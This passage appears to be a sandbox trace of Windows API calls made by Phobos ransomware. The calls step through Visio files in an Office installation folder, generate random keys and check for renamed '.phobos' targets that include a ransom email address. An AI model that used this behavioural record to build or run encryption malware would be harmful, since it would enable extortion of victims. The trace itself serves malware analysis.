(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.113] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1868) returned 1 [0155.113] CloseHandle (hObject=0x36c) returned 1 [0155.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd")) returned 0x220 [0155.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VALVE.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\valve.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.114] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visbrres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.116] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45176) returned 1 [0155.116] CloseHandle (hObject=0x250) returned 1 [0155.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visbrres.dll")) returned 0x220 [0155.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISBRRES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visbrres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.117] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.120] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=45152) returned 1 [0155.120] CloseHandle (hObject=0x36c) returned 1 [0155.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl")) returned 0x220 [0155.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.120] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.121] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=841920) returned 1 [0155.121] CloseHandle (hObject=0x36c) returned 1 [0155.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visintl.dll")) returned 0x220 [0155.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.122] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.123] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=309176) returned 1 [0155.123] CloseHandle (hObject=0x36c) returned 1 [0155.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs")) returned 0x220 [0155.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.123] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.124] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=631) returned 1 [0155.124] CloseHandle (hObject=0x36c) returned 1 [0155.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc")) returned 0x220 [0155.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.124] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.125] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=205) returned 1 [0155.125] CloseHandle (hObject=0x36c) returned 1 [0155.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt")) returned 0x220 [0155.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.125] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.126] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0155.126] CloseHandle (hObject=0x36c) returned 1 [0155.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk")) returned 0x220 [0155.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.126] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.127] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0155.127] CloseHandle (hObject=0x36c) returned 1 [0155.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk")) returned 0x220 [0155.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.127] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.128] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=136622) returned 1 [0155.128] CloseHandle (hObject=0x36c) returned 1 [0155.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs")) returned 0x220 [0155.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.128] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.129] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=651) returned 1 [0155.129] CloseHandle (hObject=0x36c) returned 1 [0155.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc")) returned 0x220 [0155.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.129] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.130] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=209) returned 1 [0155.130] CloseHandle (hObject=0x36c) returned 1 [0155.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt")) returned 0x220 [0155.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.130] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.131] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=114) returned 1 [0155.131] CloseHandle (hObject=0x36c) returned 1 [0155.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk")) returned 0x220 [0155.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.131] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.131] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=113) returned 1 [0155.131] CloseHandle (hObject=0x36c) returned 1 [0155.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk")) returned 0x220 [0155.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.132] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.132] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=309164) returned 1 [0155.132] CloseHandle (hObject=0x36c) returned 1 [0155.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs")) returned 0x220 [0155.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.133] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.133] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=651) returned 1 [0155.133] CloseHandle (hObject=0x36c) returned 1 [0155.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc")) returned 0x220 [0155.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.134] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.134] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=209) returned 1 [0155.134] CloseHandle (hObject=0x36c) returned 1 [0155.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt")) returned 0x220 [0155.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt"), 